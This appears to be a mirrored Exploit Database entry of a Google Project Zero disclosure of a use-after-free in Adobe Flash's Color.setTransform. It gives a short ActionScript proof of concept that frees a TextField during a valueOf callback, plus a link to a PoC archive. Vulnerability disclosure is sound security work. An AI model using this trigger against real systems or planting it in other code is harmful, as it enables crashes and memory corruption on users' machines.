Adobe Flash – Color.setTransform Use-After-Free

• Exploit Database
• 18 阅读

• 作者： Google Security Research
  日期： 2016-04-01
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39652/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451
  
  If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
  
  var tf:TextField = this.createTextField("tf",1,1,1,4,4)
  
  var n = new Object();
  
  n.valueOf = function () {
  	trace("here");
  	tf.removeTextField()
  }
  
  var o = {ra: n, rb:8};
  
  var c = new Color(tf)
  c.setTransform(o)
  
  
  A sample swf and fla are attached.
  
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip